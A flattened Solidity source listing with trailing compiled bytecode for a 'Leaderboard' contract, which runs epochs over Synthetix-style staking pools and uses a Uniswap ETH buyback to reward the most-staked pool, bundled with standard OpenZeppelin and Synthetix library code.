"./synthetix/contracts/StakingRewards.sol"; contract Leaderboard is Ownable { using SafeMath for uint112; using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public constant BPS_DENOMINATOR = 10_000; /// @notice Token that is staked address public immutable stakingToken; /// @notice UniswapRouter IUniswapV2Router02 public immutable router; /// @notice UniswapFactory IUniswapV2Factory public immutable factory; /// @notice List of all StakingRewards mapping(uint256 => StakingRewards) public stakingRewards; /// @notice Disable status of each StakingRewards mapping(uint256 => bool) public stakingRewardsDisabled; /// @notice Number of deployed StakingRewards uint256 public stakingRewardsCount; /// @notice Buyback proprtion in BPS uint256 public buybackProportion; // == Iteration tracking variables for runEpoch == uint256 internal _pointer; StakingRewards internal _max; uint256 internal _maxAmount; event StakingRewardsDisabledChanged(uint256 index, bool disabled); event BuybackExecuted(address indexed token, uint256 amount); event BuybackProportionChanged( uint256 prevBuybackProportion, uint256 nextBuybackProportion ); event Recovered(address token, uint256 amount); event RecoveredETH(uint256 amount); constructor( address _stakingToken, IUniswapV2Router02 _router, uint256 _buybackProportion ) { stakingToken = _stakingToken; router = _router; factory = IUniswapV2Factory(_router.factory()); buybackProportion = _buybackProportion; } /// @notice Deploy and add a new StakingRewards /// @param token The rewards token and the representative token function addStakingContract(address token) external onlyOwner { stakingRewards[stakingRewardsCount] = new StakingRewards( address(this), address(this), token, stakingToken ); stakingRewardsCount += 1; } /// @notice Enable/Disable a StakingRewards from the leaderboard /// @param index The index of the StakingRewards /// @param disabled The desired disabled status function setStakingRewardsDisabled(uint256 index, bool disabled) external onlyOwner { require(index < stakingRewardsCount, "index out of range"); stakingRewardsDisabled[index] = disabled; emit StakingRewardsDisabledChanged(index, disabled); } /// @notice Change the buybackProportion /// @param _buybackProportion The new buybackProportion function setBuybackProportion(uint256 _buybackProportion) external onlyOwner { require( _buybackProportion <= BPS_DENOMINATOR, "_buybackProportion too large" ); emit BuybackProportionChanged(buybackProportion, _buybackProportion); buybackProportion = _buybackProportion; } /// @notice Run the epoch /// @param batchSize Max number of StakingRewards to iterate over function runEpoch(uint256 batchSize) external onlyOwner { require(batchSize > 0, "batchSize must be positive"); uint256 end = _pointer + batchSize; if (end > stakingRewardsCount) { end = stakingRewardsCount; } for (; _pointer < end; _pointer++) { if (!stakingRewardsDisabled[_pointer]) { StakingRewards s = stakingRewards[_pointer]; uint256 totalSupply = s.totalSupply(); if (totalSupply > _maxAmount) { _max = s; _maxAmount = totalSupply; } } } } /// @notice Finalize the epoch with a buyback /// @param minOut Minimum amount of tokens received from the buyback. Used for slippage protection function buyback(uint256 minOut) external onlyOwner { buybackSpecificETH(minOut, address(this).balance); } /// @notice Finalize the epoch with a buyback and a specific ETH amount to use /// @param minOut Minimum amount of tokens received from the buyback. Used for slippage protection /// @param ethAmount Amount of ETH to use function buybackSpecificETH(uint256 minOut, uint256 ethAmount) public onlyOwner { require(_pointer == stakingRewardsCount, "runEpoch incomplete"); require(ethAmount <= address(this).balance, "ethAmount too large"); // Only run if _max is not the 0 address. Covers edge case when all // staking rewards are disabled if (address(_max) != address(0)) { IERC20 token = _max.rewardsToken(); if (ethAmount > 0) { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(token); router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: ethAmount }(minOut, path, address(this), block.timestamp); } uint256 transferAmount = token .balanceOf(address(this)) .mul(buybackProportion) .div(BPS_DENOMINATOR); token.safeTransfer(address(_max), transferAmount); _max.notifyRewardAmount(transferAmount); emit BuybackExecuted(address(token), transferAmount); } // Reset _pointer = 0; _max = StakingRewards(address(0)); _maxAmount = 0; } /* ========== StakingReward management ========== */ /// @notice Manually notify rewards /// @param index The index of the StakingRewards /// @param reward The amount of rewards to distrubute over the rewardsDuration function notifyRewardAmount(uint256 index, uint256 reward) external onlyOwner { require(index < stakingRewardsCount, "index out of range"); stakingRewards[index].notifyRewardAmount(reward); } /// @notice Emergency token recovery for a StakingRewards /// @param index The index of the StakingRewards /// @param tokenAddress The ERC20 token to recover /// @param tokenAmount The amount to recover function recoverStakingRewardsERC20( uint256 index, address tokenAddress, uint256 tokenAmount ) external onlyOwner { require(index < stakingRewardsCount, "index out of range"); stakingRewards[index].recoverERC20(tokenAddress, tokenAmount); IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); } /// @notice Change a StakingReward's rewardDuration /// @param index The index of the StakingRewards /// @param rewardsDuration The new rewards duration function setRewardsDuration(uint256 index, uint256 rewardsDuration) external onlyOwner { require(index < stakingRewardsCount, "index out of range"); stakingRewards[index].setRewardsDuration(rewardsDuration); } /* ========== Emergency recovery ========== */ /// @notice Emergency token recovery /// @param tokenAddress The ERC20 token to recover /// @param tokenAmount The amount to recover function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } /// @notice Emergency ETH recovery /// @param amount The amount to recover function recoverETH(uint256 amount) external onlyOwner { payable(owner()).transfer(amount); emit RecoveredETH(amount); } receive() external payable {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require( oldAllowance >= value, "SafeERC20: decreased allowance below zero" ); uint256 newAllowance = oldAllowance - value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // Inheritance import "./Owned.sol"; // https://docs.synthetix.io/contracts/source/contracts/rewardsdistributionrecipient abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } // SPDX-License-Identifier: MIT // solhint-disable not-rely-on-time pragma solidity ^0.8.3; import "../../openzeppelin-solidity/contracts/Math.sol"; import "../../openzeppelin-solidity/contracts/SafeMath.sol"; import "../../openzeppelin-solidity/contracts/SafeERC20.sol"; import "../../openzeppelin-solidity/contracts/ReentrancyGuard.sol"; import "./interfaces/IStakingRewards.sol"; import "./RewardsDistributionRecipient.sol"; // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; }
0x608060405260043610620001535760003560e01c8063921ca55111620000b9578063d33355531162000078578063d33355531462000409578063e1a45218146200042e578063e485c04c1462000446578063f0dc2c20146200046b578063f2fde38b1462000490578063f887ea4014620004b557600080fd5b8063921ca551146200033f5780639efb70371462000364578063badd23901462000389578063bc4658ea14620003ae578063c45a015514620003d357600080fd5b8063715018a61162000112578063715018a6146200024257806372f702f3146200025a57806379a9fa1c1462000290578063816015b514620002b55780638980f11f14620002fa5780638da5cb5b146200031f57600080fd5b8063246132f914620001605780632514582614620001875780632e3ec27914620001b2578063597a8d6f14620001ca578063686cf978146200021d57600080fd5b366200015b57005b600080fd5b3480156200016d57600080fd5b50620001856200017f3660046200166b565b620004eb565b005b3480156200019457600080fd5b506200019f60035481565b6040519081526020015b60405180910390f35b348015620001bf57600080fd5b506200019f60045481565b348015620001d757600080fd5b5062000204620001e9366004620015cd565b6001602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001620001a9565b3480156200022a57600080fd5b50620001856200023c36600462001639565b620005b7565b3480156200024f57600080fd5b506200018562000662565b3480156200026757600080fd5b50620002047f00000000000000000000000062521b1f45d5c186c1fd147487057e8a81f910ea81565b3480156200029d57600080fd5b5062000185620002af366004620015cd565b6200069d565b348015620002c257600080fd5b50620002e9620002d4366004620015cd565b60026020526000908152604090205460ff1681565b6040519015158152602001620001a9565b3480156200030757600080fd5b50620001856200031936600462001580565b620006d9565b3480156200032c57600080fd5b506000546001600160a01b031662000204565b3480156200034c57600080fd5b50620001856200035e3660046200166b565b6200076f565b3480156200037157600080fd5b5062000185620003833660046200166b565b62000c07565b3480156200039657600080fd5b5062000185620003a8366004620015cd565b62000c97565b348015620003bb57600080fd5b5062000185620003cd366004620015ff565b62000d59565b348015620003e057600080fd5b50620002047f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b3480156200041657600080fd5b506200018562000428366004620015cd565b62000e3b565b3480156200043b57600080fd5b506200019f61271081565b3480156200045357600080fd5b506200018562000465366004620015cd565b62000ed9565b3480156200047857600080fd5b50620001856200048a36600462001542565b62001082565b3480156200049d57600080fd5b5062000185620004af36600462001542565b62001171565b348015620004c257600080fd5b50620002047f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000546001600160a01b03163314620005215760405162461bcd60e51b815260040162000518906200170c565b60405180910390fd5b6003548210620005455760405162461bcd60e51b81526004016200051890620016e0565b60008281526001602052604090819020549051633c6b16ab60e01b8152600481018390526001600160a01b0390911690633c6b16ab906024015b600060405180830381600087803b1580156200059a57600080fd5b505af1158015620005af573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03163314620005e45760405162461bcd60e51b815260040162000518906200170c565b6003548210620006085760405162461bcd60e51b81526004016200051890620016e0565b600082815260026020908152604091829020805460ff19168415159081179091558251858152918201527f8d1ed192ccde6abb6a21e43